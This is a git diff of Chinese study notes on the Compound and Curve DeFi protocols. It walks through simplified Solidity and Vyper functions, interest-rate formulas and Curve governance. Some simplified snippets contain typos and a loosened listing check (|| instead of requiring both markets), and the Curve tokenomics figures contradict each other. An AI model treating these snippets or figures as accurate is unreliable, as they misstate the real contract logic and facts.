+    //检查7：审计合约审计是否清算成功
+    comptroller.liquidateBorrowVerify(
+        address(this),
+        cTokenCollateral,
+        liquidator,
+        borrower,
+        repayAmount,
+        seizeTokens);
+    return (uint(Error.NO_ERROR), seizeTokens);
+    
+}
+```
+
+#### seize 函数
+
+将债务人的cToken传送给清算者
+
+```js
+function seizeInternal(address seizerToken, address liquidator, address borrower, uint seizeTokens) 
+	internal 
+	returns (uint) 
+{
+	//检查1：审计合约允许执行扣除
+	require(comptroller.seizeAllowed(address(this),msg.sender,liquidator,borrower,seizeTokens) == uint(Error.NO_ERROR));
+	//检查2：债务人不能是清算人
+	require(borrower != liquidator);
+	//计算1：新的债务人和清算人余额
+	uint borrowerTokenNew = accountTokens[borrower] - seizeTokens;
+	uint liquidatorTokenNew = accountTokens[liquidator] + seizeTokens;
+	//生效1：将债务人和清算人的新的余额写入全局变量
+	accountTokens[borrower] = borrowerTokenNew;
+	accountTOkens[liquidator] = liquidatorTokenNew;
+	//检查3：审计合约审计是否扣款成功
+	comptroller.seizeVerify(address(this),msg.sender,liquidator,borrower,seizeTokens);
+}
+```
+
+### 利率机制
+
+compound货币市场是由一个利率定义，统一适用于所有借款人的借贷协议，随着时间的推移，供求关系的变化而调整。
+![](https://img.learnblockchain.cn/pics/20210727085638.png)
+
+每个利率的历史，对于每个货币市场来说，都是由利率指数，即`borrowIndex`来记录的，每次利率的变化都是由用户铸造mint、赎回redeem、借入borrow、偿还repayBorrow或清算liquidate资产所导致的。
+
+$$
+资金利用率：U_a = \frac {Borrows_a} { (Cash_a + Borrows_a) }
+$$
+
+$$
+贷款利率：a=0.025 +U_a \cdot 0.2
+$$
+
+$$
+存款利率：b=a\times U_a
+$$
+
+| 方法        | 资金利用率变化                    | 利率变化                   |
+| ----------- | --------------------------------- | -------------------------- |
+| mint        | $Cash \uparrow$, $U_a \downarrow$ | $a \downarrow,b\downarrow$ |
+| redeem      | $Cash \downarrow, U_a \uparrow$   | $a\uparrow,b\uparrow$      |
+| borrow      | $Borrows\uparrow,U_a\uparrow$     | $a\uparrow,b\uparrow$      |
+| repayBorrow | $Borrows\downarrow,U_a\downarrow$ | $a\downarrow,b\downarrow$  |
+| liquidate   | $Borrows\downarrow,U_a\downarrow$ | $a\downarrow,b\downarrow$  |
+
+#### 市场动态
+
+##### 利率指数
+
+每次交易发生时，该资产的利率指数都会被更新，以复利的方式计算自上一次指数以来的利息，使用的是以区块为单位的期间利息，以每块的利率计算。
+
+$$
+Index_{a,n} = Index_{a,(n-1)} \times (1 + borrowRate_n \cdot \Delta blocks)
+$$
+
+可以改写为：
+
+$$
+\begin{cases}
+Index_{a,n} = \prod_{i=1}^n (1 + borrowRate_i \cdot \Delta blocks) &n>0\\
+Index_{a,0}=c \ (c>0)&n=0
+\end{cases}
+$$
+
+则两个时间点之间的利率积累可以表示为：
+
+$$
+\frac{Index_{a,y}}{Index_{a,x}}=\prod_{i=x}^y (1+borrowRate_i\cdot\Delta blocks)
+$$
+
+市场的总借贷余额被更新以包括自上一次指数以来的利息。即利息也是要产生利息的，复利。
+
+$$
+totalBorrowBalance_{a,n} = totalBorrowBalance_{a,(n-1)} \times (1 + borrowRate_n \cdot \Delta blocks)
+$$
+
+一部分应计利息被保留（预留）为储备金，由储备金因子决定，范围从0到1。
+
+$$
+reserves_a = reserves_{a,(n-1)} + totalBorrowBalance_{a,(n-1)} \times (borrowRate_n \cdot \Delta blocks \cdot reserveFactor)
+$$
+
+##### accrueInterest 函数
+
+我们在每次操作时都会计入利息并更新借款指数。这增加了复利，接近真实值，而不管其余的操作是否成功与否。
+
+这将计算从上一个检查点的区块到当前区块的应计利息，并将新的检查点写入存储。
+
+```js
+struct AccrueInterestLocalVars {
+    MathError mathErr;
+    uint opaqueErr;
+    uint borrowRateMantissa;
+    uint currentBlockNumber;
+    uint blockDelta;
+
+    Exp simpleInterestFactor;
+
+    uint interestAccumulated;
+    uint totalBorrowsNew;
+    uint totalReservesNew;
+    uint borrowIndexNew;
+}
+function accrueInterest() public returns (uint) {
+    AccrueInterestLocalVars memory vars;
+    // 拿到总的现金数量
+	uint totalCash = getCashPrior();
+    // 拿到目前利率模型的借贷利率
+    vars.borrowRateMantissa = 
+        interestModel.borrowRate(address(this),totalCash,totalBorrows,totalReserves);
+    // 计算1：算出累计的区块对应的复利因子
+    vars.currentBlockNumber = getBlockNumber();
+    vars.blockDelta = vars.currentBlockNumber - accrualBlockNumber;
+    vars.simpleInterestFactor = vars.blockDelta * vars.borrowRateMantissa;
+    // 状态1：更新状态借贷因子
+    vars.borrowIndexNew = borrowIndex * (1 + vars.simpleInterestFactor);
+    // 计算2：累计利息
+    vars.interestAccumulated = totalBorrows * vars.simpleInterestFactor;
+    // 计算3：存款额度和债务总额
+    vars.totalBorrowsNew = totalBorrows + vars.interestAccumulated;
+    vars.totalReservesNew = totalReserves + varss.interestAccumulated * reserveFactorMantissa;
+    // 状态：更新状态信息
+    accuralBlockNumber = getBlockNumber();
+    borrowIndex = vars.borrowIndexNew;
+    totalBorrows = vars.totalBorrowsNew;
+    totalReserves = vars.totalReservesNew;
+    
+    return uint(Error.NO_ERROR);
+}
+```
+
+#### 借款人动态
+
+利率指数 time_0->time_1
+
+$$
+\frac{Index_{a,time1}}{Index_{a,time0}}=\prod_{i=time0}^{time1} (1+borrowRate\cdot\Delta blocks)
+$$
+
+一个借款人的余额，包括应计利息，应该是当前指数除以用户余额最后一次检查点时的指数的比率。
+
+$$
+borrowCurrent=\frac{Index_{a,time1}}{Index_{a,time0}}=\prod_{i=time0}^{time1}(1+borrowRate\cdot \Delta blocks)
+$$
+
+当借贷被创建时，我们将当前利率指数和债务数量进行保存。无论何时一笔涉及到该借贷的债务数量的交易发生时，我们首先计算新的该账户的债务数量，基于这段时间累计的利息等。为了确定到底有多少利息积累，我们拿到当前的利率指数，并将其与之前存入账户借贷的利率指数进行对比，得到的比例即为单位美金所累计的利息。通过这笔新的利息，我们计算得到新的账户债务数量并将其与当前利率指数一起保存进入账户借贷中。
+
+$$
+effectiveRate=\frac{borrowIndex_{i+\Delta blocks}}{borrowIndex_i}=\prod_{i=time0}^{time1}(1+borrowRate\cdot \Delta blocks)
+$$
+
+$$
+principal_{i+\Delta blocks}=principal_i\cdot effectiveRate
+$$
+
+$$
+borrowIndex_{i+\Delta blocks}=borrowIndex_i
+$$
+
+```js
+//cToken.sol borrowBalanceStored
+function borrowBalanceStoredInternal(address account) 
+	internal 
+    view 
+    returns (MathError, uint) 
+{
+    //作用是返回该账户对应的借款数额 
+    //return accountBorrow[account].princlpal? 需要考虑这段时间积累的利息。
+    //并不假设市场反应最新的状态
+    //计算1：从cToken合约中拿到borrowBalance和borrowIndex
+    BorrowSnapshot storage borrowSnapshot = accountBorrows[account];
+    //判断1：如果借贷数量为0，则对应的利率指数也大概率为0
+    if(borrowSnapshot.principal == 0) {
+        return (uint(Error.NO_ERROR),0);
+    }
+    //计算2：根据当前利率指数和之前利率指数算出当前借款总额
+    uint recentBorrowBalance = borrowSnapshot.principal * borrowIndex / borrowSnapshot.interestIndex;
+    return (uint(Error.NO_ERROR),recentBorrowBalance);
+}
+```
+
+cToken中每个借款人地址的余额被存储为一个账户检查点。帐户检查点是一个 Solidity 元组 `<uint256 balance, uint256 interestIndex>` . 这个元组描述了最后一次应用于该账户的利息时的余额。
+
+```js
+accountBorrows[borrower].principal = vars.accountBorrowsNew;
+accountBorrows[borrower].interestIndex = borrowIndex;
+```
+
+### 借贷
+
+一个希望借款并且在 Compound 中有足够余额的用户可以在相关的 cToken 合同上调用 `borrow(uint amount)` 。这个函数调用将检查用户的账户价值，如果有足够的抵押物，将更新用户的借款余额，将代币转移到用户的以太坊地址，并更新货币市场的浮动利率。
+
+借款的计息方式与上面计算余额的方式完全相同；借款人有权在任何时候偿还未偿还的贷款，通过调用`repayBorrow(uint amount)`来偿还未偿还的余额。
+![](https://img.learnblockchain.cn/pics/20210727085647.png)
+
+:question:借贷中，质押cToken的部分在哪里？
+
+:bed: 检查质押部分是在其第一个检查：`comptroller.borrowAllowed`函数中进行检查
+
+其中，`getHypotheticalAccountLiquidityInternal`函数非常的关键，它事实上检查了实时状态下的该账户所对应的所有cToken的资产价值总和和借贷的token的资产价值总和，并通过对比cToken的资产价值和借贷的token价值和，来判断用户是否还可以继续借贷。
+
+由于是比较的是cToken对应的资产价值和借贷的token价值总和，故其调用了预言机，来获取cToken对应的token的实时价格。
+
+当用户借贷borrow时，其将要借贷的这笔token的价值也考虑在了总的借贷token总价值中；
+
+当用户赎回redeem时，其将要赎回的这笔token的价值也考虑在了总的借贷token总价值中。
+![](https://img.learnblockchain.cn/pics/20210727090148.png)
+
+```js
+//ComptorllerG1.sol -> 第一个版本的实现，后面版本新增了很多其他的功能，这里我们只关注最核心的逻辑 
+function borrowAllowed(address cToken, address borrower, uint borrowAmount) external returns (uint) {
+	//检查1：如果cToken没有上线则直接失败
+    require(markets[cToken].isListed);
+    //检查2：policy hook?
+    
+    //检查3：如果借款人在该资产中没有会员
+    require(markets[cToken].accountMemberShip[borrower]);
+    //检查4：如果预言机的价格为0
+    require(oracle.getUnderlyingPrice(CToken(cToken)) != 0);
+    //计算1：计算账户流动性，即可借款额度，看是否触发清算
+    (Error err,uint liquidity,uint shortfall) = 
+        getHypotheticalAccountLiquidityInternal(borrower,cToken,0,borrowAmount);
+    //检查5：err 和 shortfall
+    require(err == Error.NO_ERROR);
+    require(shortfall == uint(Error.NO_ERROR));
+    return uint(Error.NO_ERROR);
+}
+```
+
+```js
+//comptrollerG1.sol -> 计算账户流动性,通过这个函数要给出该账户是否能够借到borrowAmount数量的token值
+struct AccountLiquidityLocalVars {
+    uint sumCollateral;
+    uint sumBorrowPlusEffects;
+    uint cTokenBalance;
+    uint borrowBalance;
+    uint exchangeRateMantissa;
+    uint oraclePriceMantissa;
+    Exp collateralFactor;
+    Exp exchangeRate;
+    Exp oraclePrice;
+    Exp tokensToEther;
+}
+function getHypotheticalAccountLiquidityInternal(
+    address account,
+    CToken cTokenModify,
+    uint redeemTokens,
+    uint borrowAmount) internal view returns (Error, uint, uint) 
+{
+	AccountLiquidityLocalVars memory vars;
+    uint liquidity;
+    uint shortfall;
+	 //对于该账户对应的每一个资产，都进行如下计算：
+        //mapping(address => CToken[]) public accountAssets;
+	CToken[] memory cTokens = accountAssets[account];
+    for (uint i = 0; i < cTokens.length; i++) {
+        CToken cToken = cTokens[i];
+        //拿到cToken的余额
+        vars.cTokenBalance = cToken.balanceOf(account);
+        //拿到账户在cToken上的借贷数量
+        vars.borrowBalance = cToken.borrowBalanceStored(account);
+        //拿到cToken对话Token的汇率
+        vars.exchangeRateMantissa = cToken.exchangeRateStored();
+        vars.exchangeRate = (vars.exchangeRateMantissa << 18);
+        //拿到cToken的抵押因子
+        vars.collateralFactor = (markets[cToken].collateralFactorMantissa() << 18);
+        //拿到预言机的token价格
+        vars.oraclePriceMantissa = oracle.getUnderlyingPrice(cToken);
+        vars.oraclePrice = (vars.oraclePriceMantissa << 18);
+        require(vars.oraclePrice != 0);
+        //拿到单位cToken对应的美元价格=抵押因子*汇率*价格
+        uint tokensToDollars = vars.collateralFactor * vars.exchangeRate * vars.oraclePrice;
+        //拿到cToken对应的价值总和
+        vars.sumCollateral = vars.sumCollateral + tokensToDollars * vars.cTokenBalance;
+        //拿到cToken账户借贷的token价值总和
+        vars.sumBorrowPlusEffects = vars.sumBorrowPlusEffects + vars.oraclePrice * vars.borrowBalance;
+        if (cToken == cTokenModify) {
+            //赎回的影响
+            vars.sumBorrowPlusEffects += tokensToDollars * redeemTokens;
+            //借贷的影响
+            vars.sumBorrowPlusEffects += vars.oraclePrice * borrowAmount;
+            }
+    } 
+    if (vars.sumCollateral > vars.sumBorrowPlusEffects) {
+        liquidity = vars.sumCollateral - vars.sumBorrowPlusEffects;
+        shortfall = 0;
+        return (Error.NO_ERROR, liquidity, 0);
+    } else {
+        liquidity = 0;
+        shortfall = vars.sumBorrowsPlusEffects - vars.sumCollateral;
+        return (Error.NO_ERROR, 0, shortfall);
+    }
+    
+}
+```
+
+### 清算
+
+如果一个用户的借款余额超过了他们的总抵押物价值（借款能力），由于抵押物的价值下降，或借款资产的价值增加，公共函数
+
+`liquidate(address target, address collateralAsset, address borrowAsset, uint closeAmount）`可以被调用，它以略高于市场的价格将调用用户的资产与借款人的抵押品交换。
+
+:question:清算中，最重要的一个概念是找到可清算部分的债务，不能清算用户的安全债务. 其也通过调用`getHypotheticalAccountLiquidityInternal`来找到对应的shrotfall数量。
+![](https://img.learnblockchain.cn/pics/20210727090159.png)
+
+```js
+//comptrollerG1.sol
+function liquidateBorrowAllowed(
+    address cTokenBorrowed,
+    address cTokenCollateral,
+    address liquidator,
+    address borrower,
+    uint repayAmount) external returns (uint) 
+{
+    //检查1：cTokenBorrowed或者cTokenCollateral上线
+	require(markets[cTokenBorrowed].isListed() || markets[cTokenCollateral].isListed());
+    //policy hook
+    //拿到借款人的账户流动性，即可借款额度，看是否触发清算
+    (Error err,uint liquidity, uint shortfall) = getAccountLiquidityInternal(borrower);
+    require(err == Error.NO_ERROR);
+    require(shortfall != 0);
+    //债务人账户必须要shortfall，否则无法被清算
+    //拿到债务人的债务余额
+    uint borrowBalance = CToken(cTokenBorrowed).borrowBalanceStored(borrower);
+    uint closeFactor = (closeFactorMantissa << 18);
+    uint maxCloseValue = borrowBalance * closeFactor;
+    require(repayAmount <= maxCloseValue);
+    
+    return uint(Error.NO_ERROR);
+    
+}
+```
+
+### 预言机
+
+一个Price Oracle维护每个支持的资产的当前汇率；Compound协议将设置资产价值的能力委托给一个委员会，该委员会汇集了前10个交易所的价格。这些汇率用于确定借款能力和抵押品要求，并用于所有需要计算账户价值当量的功能。
+
+### 审计合约
+
+Compound协议默认不支持特定的代币；相反，市场必须被列入白名单。这是通过一个管理函数`supportMarket(address market, address interest rate model)`完成的，它允许用户开始与资产互动。为了借入一项资产，必须有一个来自Price Oracle的有效价格；为了使用一项资产作为抵押品，必须有一个有效的价格和一个collateralFactor。
+
+每个函数的调用都是通过一个政策层来验证的，这个政策层被称为 "审计官"；这个合同在允许用户行动进行之前，对抵押品和流动性进行验证。
+
+**各位兄弟姐妹们，关注如下公众号，分享更多有意思的文章**
+
+![image20210723193312815.png](https://img.learnblockchain.cn/attachments/2021/07/onO5Mgso60fed4ac347e0.png)
+
+**点赞 点赞 点赞！点赞的人最帅**
diff --git a/defi/Compound/whitepaper/ReadMe.md b/defi/Compound/whitepaper/ReadMe.md
new file mode 100644
index 000000000..0fbc80d2b
--- /dev/null
+++ b/defi/Compound/whitepaper/ReadMe.md
@@ -0,0 +1,6 @@
+some reference link for the whitepaper, especially for the beginners
+1. [Think in Compound Design](https://learnblockchain.cn/article/3153)
+2. [Compound deployment](https://learnblockchain.cn/article/2915)
+3. [Compound Contract upgrade](https://learnblockchain.cn/article/2802)
+4. [Compound whitepaper analysis](https://learnblockchain.cn/article/2781)
+5. Video [Compound whitepaper sharing](https://www.bilibili.com/video/BV17U4y1M7p1?from=search&seid=3982819988297164278&spm_id_from=333.337.0.0)
\ No newline at end of file
diff --git a/defi/Curve-V1/DAO/readme.md b/defi/Curve-V1/DAO/readme.md
new file mode 100644
index 000000000..a67ac1170
--- /dev/null
+++ b/defi/Curve-V1/DAO/readme.md
@@ -0,0 +1,42 @@
+# Curve DAO
+
+支撑 Curve 生态系统的是基于 Aragon 框架的 DAO。
+CurveDAO 将使用时间加权投票来给那些锁定通证的人比第一次参与的人更多的治理权重。这个权重很可能会根据社区认为合适的方式进行调整，并真正致力于降低1个通证1票模式的影响。这种模式极大地有利于那些财力更雄厚的人。
+## 代币模型
+Curve 在 2020 年年中推出了 Curve DAO 代币（CRV）时，实施了一个链上治理系统。该代币的最大供应量为 3,303,030,299 CRV，流通供应量超过 420,000,000 CRV。
+目前的提案建议，CRV 将发行10亿 CRV，并将逐步膨胀到最大供应量30.3亿Curve。通货膨胀率将在第一年达到最高，并随着时间的推移逐渐上升。
+
+目前，Curve 的流动性提供者收到 CRV 作为奖励，每天分发约 750,000 个 CRV。协议 DAO 的部分核心功能是确定分配给 Curve 生态系统中每个流动性池的每日 CRV 奖励的份额。此外，DAO 决定管理矿池运营的参数，包括交易者支付的费用。
+
+**代币分发**
+Curve的项目核心代币是CRV，CRV从2020年8月13日开始发行，总量为30.3亿，总量的分配如下：
+
+● 62% 分发给流动性提供者
+
+● 30% 给股东，在 2-4 年内线性解锁
+
+● 3% 给团队成员，在 2 年内线性解锁
+
+● 5% 作为社区储备
+
+目前已释放的CRV总量为7.53亿左右，日均释放的CRV约为145万个左右。
+
+
+
+## 治理流程
+
+为了参与这个治理系统，用户必须将他们的 CRV 代币锁定在投票托管上以获得加权投票权，称为 veCRV。发给每个用户的投票权重取决于为治理代币的锁定时间。
+
+例如，如果将代币锁定长达 4 年，将获得锁定 CRV 和 veCRV 之间的 1:1 关系。锁定 CRV 代币的最短期限为一周。随着 CRV 锁定期日的临近， veCRV 权重将逐渐降低。值得一提的是，Curve 交易费用总额的 50% 将分配给 veCRV 持有者，作为锁定 CRV 和参与协议治理的激励措施。
+而用户锁仓CRV的时间越长，其获得的veCRV数量也就越多。具体来说，1CRV锁定4年就能获得1veCRV，而锁定一年只能获得0.25veCRV。  
+
+一旦获得投票权，就可以开始对提案进行投票。但是，请注意，在创建提案的区块投票权将决定您可以用于相关提案的投票权重。
+
+此外，只有拥有 2,500 veCRV 投票权重及以上的 DAO 成员才能提交提案。与本指南中强调的大多数 DAO 一样，提议者必须首先起草提案并将其提交到社区论坛，然后才能被提交在区块链上进行投票。
+
+## 参考链接
+- curve介绍：https://www.zvstus.com/article/news/1/75d87ffffe8454c353fd2a2a4e140000.html
+- 云雀：https://www.yuque.com/docs/share/6749f704-793a-48f6-af9f-89aabebb21ac#%20
+- Curve帝国编年简史：资本永不眠 https://mirror.xyz/cryptolunatic.eth/uKjxSopOVcMFyvttJWDcCKkfu-Jp_iaEXxDNql2vf6w
+- solidly: https://github.com/solidlyexchange/solidly/tree/master/contracts
+- curve dao 分享链接：https://docs.google.com/presentation/d/1scWGVaA3Uz5DX2jcLIq8LGAtrd2tte_3LfR20TT7oEI/edit?usp=sharing 
diff --git a/defi/Curve-V1/README.md b/defi/Curve-V1/README.md
new file mode 100644
index 000000000..e20f4603d
--- /dev/null
+++ b/defi/Curve-V1/README.md
@@ -0,0 +1,21 @@
+# Curve V1
+
+## 原理介绍
+钟捷：
+- CurveV1 : https://www.yuque.com/docs/share/888996ac-b60f-4db5-a4a2-d916e9ef8932#%20
+- CurveV2 : https://www.yuque.com/docs/share/d902a3d4-f246-420c-b971-6487e38999dc#%20
+- CurveDAO: https://www.yuque.com/docs/share/6749f704-793a-48f6-af9f-89aabebb21ac?#%20 
+
+**curveV1详细版推导**
+ - https://medium.com/@cic.ethan/%E6%B7%BA%E8%AB%87%E7%A9%A9%E5%AE%9A%E5%B9%A3%E4%BA%92%E6%8F%9B%E6%A9%9F%E5%88%B6-%E5%BE%9E-balancer-%E5%88%B0-curve-f638f29b33f9
+
+## 参考链接
+
+- 白皮书  <https://curve.fi/files/stableswap-paper.pdf>
+- github <https://github.com/curvefi/curve-contract/tree/master/contracts>
+- curve V2: <https://curve.fi/files/crypto-pools-paper.pdf>
+- <https://github.com/curvefi/curve-crypto-contract/tree/master/contracts/matic>
+- curve投票  https://tokenbrice.xyz/crv-wars/#sdvecrv-vs-cvxcrv  
+- imtoken介绍：https://imtoken.fans/t/topic/16656/4
+- Curve帝国编年简史：资本永不眠: https://mirror.xyz/cryptolunatic.eth/uKjxSopOVcMFyvttJWDcCKkfu-Jp_iaEXxDNql2vf6w
+
diff --git a/defi/Curve-V1/contracts/README.md b/defi/Curve-V1/contracts/README.md
new file mode 100644
index 000000000..ca88efbdb
--- /dev/null
+++ b/defi/Curve-V1/contracts/README.md
@@ -0,0 +1,17 @@
+# Curve v1 contract
+
+## Procotol Overview
+
+Curve can be broadly separated into the following categories:
+
+- StableSwap: Exchange contracts and core functionality of the protocol
+- The DAO: Protocol governance and value accrual
+- The Factory: Permissionless deployment of Curve metapools
+- The Registry: Standardized API and on-chain resources to aid 3rd party integrations
+
+## reference
+
+- curve docs <https://curve.readthedocs.io/>
+- curve v1 contract github <https://github.com/curvefi/curve-contract>
+- curve ref-address <https://curve.readthedocs.io/ref-addresses.html>
+- eth-brownie <https://eth-brownie.readthedocs.io/en/stable/>
diff --git a/defi/Curve-V1/contracts/StableSwap.md b/defi/Curve-V1/contracts/StableSwap.md
new file mode 100644
index 000000000..d9e8573e3
--- /dev/null
+++ b/defi/Curve-V1/contracts/StableSwap.md
@@ -0,0 +1,1222 @@
+# Curve v1 StableSwap code learning
+
+curve v1 通过实现 StableSwap 恒等式的交易池，达到比恒定乘积(Uniswap)交易池更高效低滑点的效果。适合相互之间价格稳定的交易对，比如两个稳定币(DAI-USDC)或同一锚定标的的资产(ETH-sETH synthetic ETH)。
+
+## overview
+
+curve v1 核心公式
+
+将恒定和等式与恒定乘积等式合并，给予系数 $\chi$ (希腊字母)
+
+$$
+\chi D^{n-1}\sum x_i+\prod x_i=\chi D^n + (\frac{D}{n})^n
+$$
+<!-- <img src="https://render.githubusercontent.com/render/math?math=\chi D^{n-1}\sum x_i%2B\prod x_i=\chi D^n %2B (\frac{D}{n})^n" /> -->
+
+令 $\chi$ 为如下表达
+
+$$
+\chi=\frac{A\prod x_i}{(D/n)^n}
+$$
+<!-- <img src="https://render.githubusercontent.com/render/math?math=\chi=\frac{A\prod x_i}{(D/n)^n}" /> -->
+
+代入可得最终的核心公式
+
+$$
+An^n\sum x_i + D = ADn^n + \frac{D^{n+1}}{n^n\prod x_i}
+$$
+<!-- <img src="https://render.githubusercontent.com/render/math?math=An^n\sum x_i%2BD = ADn^n%2B\frac{D^{n%2B1}}{n^n\prod x_i}" /> -->
+
+### curve v1 flow
+
+下图是 StableSwap 的主要业务流程图
+
+![curve v1 flow](https://raw.githubusercontent.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/main/images/defi/Curve-v1/contract/curve-v1-flow.png)
+
+### pool-templates
+
+pool 交易池合约有 5 种，他们基本构造方法相同，但有不同风格。(5 种合约模板参见 `/contracts/pool-templates`)
+
+- `a`: 用于交易 a-Token 类型的合约（余额自增的 token）的交易池子 [aToken.balanceOf()](../../Aave/contract/3-AToken.md#balanceof)
+- `base`: 基础的交易池子
+- `eth`: 带 ETH 的交易池子
+- `meta`: 元池，基本资产与 curve LP token 的交易池子
+- `y`: 用于交易 yearn-Token 类型的合约（可内生息的 token）的交易池子
+
+使用模板合约部署交易池合约，主要修改以下初始化参数
+
+- `___USE_LENDING___`: 布尔值数组，交易资产中是否有从借贷协议中借出的资产
+- `___N_COINS___`: 池子中的资产种类数量
+- `___PRECISION_MUL___`: 整型数组，每个资产的精度调整到 1e18 所需的乘数
+- `___RATES___`: 整型数组，每个资产统一精度到 1e36 所需的乘数
+
+Metapools 元池因为是某个资产和 base pool 类型的 lp token 组成交易对，所以还用了以下参数：
+
+- `__BASE_N_COINS__`: base pool 内的 N
+- `__BASE_PRECISION_MUL__`: base pool 内的 precision
+- `__BASE_RATES__`: base pool 内的 rates
+
+`pooldata.json` 是主要用于测试的辅助参数，与合约内保持一致
+
+```js
+{
+    "wrapped_contract": "yERC20",   // 测试用的 wrapped token 合约
+    "base_pool_contract": ""        // 元池中所对应的 base pool
+    "coins": [                      // each list item represents 1 swappable coin within the pool
+        {
+            "decimals": 18,          // number of decimal places for the underlying coin
+            "tethered": false,       // 调用token的 transfer/approve 操作是否返回 `None` (true 是没有返回，标准ERC20 应该有返回布尔值，但usdt没有返回值)
+            "wrapped": true,         // token 是否为 wrapped token
+            "wrapped_decimals": 18,  // wrapped token 的精度，如果不是wrapped可以省略
+        },
+    ]
+    "rate_calculator_address": ""    // 计算兑换率的策略合约地址
+}
+```
+
+## base pool
+
+基础的交易池子合约，例如 3pool
+
+### constans
+
+合约中的常量
+
+- `RATES` 是一组乘数，和 `balances` 相乘后，将精度统一到 1e36，最后和 `PRECISION` 相除，结果将统一成 1e18 精度
+- fee 以 1e10 为 100%
+- 手续费率，A 系数等参数可以经过治理投票后修改
+- A 系数的数值的修改是线性变化的
+
+```python
+# These constants must be set prior to compiling
+# 部署时的初始化参数
+N_COINS: constant(int128) = ___N_COINS___
+PRECISION_MUL: constant(uint256[N_COINS]) = ___PRECISION_MUL___
+RATES: constant(uint256[N_COINS]) = ___RATES___
+
+# fixed constants
+FEE_DENOMINATOR: constant(uint256) = 10 ** 10 # 计算手续费时的分母
+PRECISION: constant(uint256) = 10 ** 18  # 计算资产数量时需要统一到的精度水平
+
+MAX_ADMIN_FEE: constant(uint256) = 10 * 10 ** 9 # 管理员手续费率的最大值，设置费率不能超过此值 10%
+MAX_FEE: constant(uint256) = 5 * 10 ** 9 # 手续费率的最大值，设置费率不能超过此值 5%
+MAX_A: constant(uint256) = 10 ** 6 # A 系数的最大值，当前3pool A = 2000
+MAX_A_CHANGE: constant(uint256) = 10 # 规定每次对A的调整不能超过原有值的倍数范围 即 1/10 * A <= A' <= 10*A
+
+ADMIN_ACTIONS_DELAY: constant(uint256) = 3 * 86400 # 配置更改的延迟生效时间
+MIN_RAMP_TIME: constant(uint256) = 86400 # 线性修改A系数的最小时间间隔
+
+A_PRECISION: constant(uint256) = 100 # A 的计算精度
+KILL_DEADLINE_DT: constant(uint256) = 2 * 30 * 86400 # 部署合约多久后才能调用 kill_me 方法
+```
+
+### variables
+
+- 注意 `A` 的值是 `A*N_COINS**(N_COINS-1)`, 因为涉及 A 的计算部分都有 N**(N-1)，所以直接将乘积作为 A 值
+
+```python
+coins: public(address[N_COINS]) # 资产 token 地址数组
+balances: public(uint256[N_COINS]) # 资产的数量
+fee: public(uint256)  # fee * 1e10
+admin_fee: public(uint256)  # admin_fee * 1e10
+
+owner: public(address)
+lp_token: public(address)
+
+initial_A: public(uint256) # A 的初始值，或调整之前的值
+future_A: public(uint256) # A 的当前值，或调整的目标值
+initial_A_time: public(uint256) # A 的调整开始时间
+future_A_time: public(uint256) # A 的调整完成时间
+
+admin_actions_deadline: public(uint256) # 当调整commit提交后，管理员执行调整的 deadline
+transfer_ownership_deadline: public(uint256) # 当移交所有权commit提交后，管理员执行调整的 deadline
+future_fee: public(uint256) # 调整手续费率的目标值
+future_admin_fee: public(uint256) # 调整管理员手续费率的目标值
+future_owner: public(address) # 调整所有权的目标地址
+
+is_killed: bool
+kill_deadline: uint256
+```
+
+### functions
+
+#### constructor
+
+```python
+@external
+def __init__(
+    _owner: address,
+    _coins: address[N_COINS],
+    _pool_token: address,
+    _A: uint256,
+    _fee: uint256,
+    _admin_fee: uint256
+):
+    """
+    @notice Contract constructor
+    @param _owner Contract owner address
+    @param _coins Addresses of ERC20 conracts of coins
+    @param _pool_token Address of the token representing LP share
+    @param _A Amplification coefficient multiplied by n * (n - 1)
+    @param _fee Fee to charge for exchanges
+    @param _admin_fee Admin fee
+    """
+    for i in range(N_COINS):
+        assert _coins[i] != ZERO_ADDRESS
+    self.coins = _coins
+    self.initial_A = _A * A_PRECISION
+    self.future_A = _A * A_PRECISION
+    self.fee = _fee
+    self.admin_fee = _admin_fee
+    self.owner = _owner
+    self.kill_deadline = block.timestamp + KILL_DEADLINE_DT
+    self.lp_token = _pool_token
+```
+
+#### A
+
+主要逻辑在 `_A()`，由于 A 系数不能突然发生较大变化，这样造成的内部价格突然变化，从而导致被外部套利者利用，套走过多资产。所以对 A 修改是线性变化的，而非立即变成目标值。其计算逻辑可改写为如下形式：
+
+```python
+A_current = A_initial + abs(A_future - A_initial) * (t_current - t_initial) / (t_future - t_initial)
+```
+
+> 观察核心公式可知，A 值越大，恒定和等式部分的项权重越大，其图形就越趋近于直线，A 值越小则趋近于恒定乘积的等式，图形更为弯曲（当 N=2 时，可以理解为更趋近于 Uniswap 的形状）。所以当 A 值变化时，图形的弯曲程度会发生改变，资产之间的价格也随之改变。如果突然有很大的变化，会导致池子内部价格与外部价格偏差过大，产生较大的套利空间。
+
+```python
+@view
+@internal
+def _A() -> uint256:
+    """
+    Handle ramping A up or down
+    """
+    t1: uint256 = self.future_A_time
+    A1: uint256 = self.future_A
+
+    if block.timestamp < t1:
+        A0: uint256 = self.initial_A
+        t0: uint256 = self.initial_A_time
+        # Expressions in uint256 cannot have negative numbers, thus "if"
+        # 因为合约中不能有负值，所以这里要判断大小，给出减法的顺序
+        if A1 > A0:
+            return A0 + (A1 - A0) * (block.timestamp - t0) / (t1 - t0)
+        else:
+            return A0 - (A0 - A1) * (block.timestamp - t0) / (t1 - t0)
+
+    else:  # when t1 == 0 or block.timestamp >= t1
+        return A1
+
+
+@view
+@external
+def A() -> uint256:
+    return self._A() / A_PRECISION
+
+
+@view
+@external
+def A_precise() -> uint256:
+    return self._A()
+```
+
+#### xp
+
+存放每个资产价值(balance \* price)的数组
+
+```python
+'''返回当前池子的xp'''
+@view
+@internal
+def _xp() -> uint256[N_COINS]:
+    result: uint256[N_COINS] = RATES
+    for i in range(N_COINS):
+        result[i] = result[i] * self.balances[i] / PRECISION
+    return result
+
+
+'''指定balance数量计算xp'''
+@pure
+@internal
+def _xp_mem(_balances: uint256[N_COINS]) -> uint256[N_COINS]:
+    result: uint256[N_COINS] = RATES
+    for i in range(N_COINS):
+        result[i] = result[i] * _balances[i] / PRECISION
+    return result
+```
+
+#### virtual_price
+
+`virtual_price = D / lp_totalSupply`
+
+- D 的单位与 DAI 相似，精度 1e18
+- 当价格处于平衡点，D = n * 每个资产的总价值
+- 此时D就是整个池子资产组合的总(虚拟)价值
+
+```python
+@view
+@external
+def get_virtual_price() -> uint256:
+    """
+    @notice The current virtual price of the pool LP token
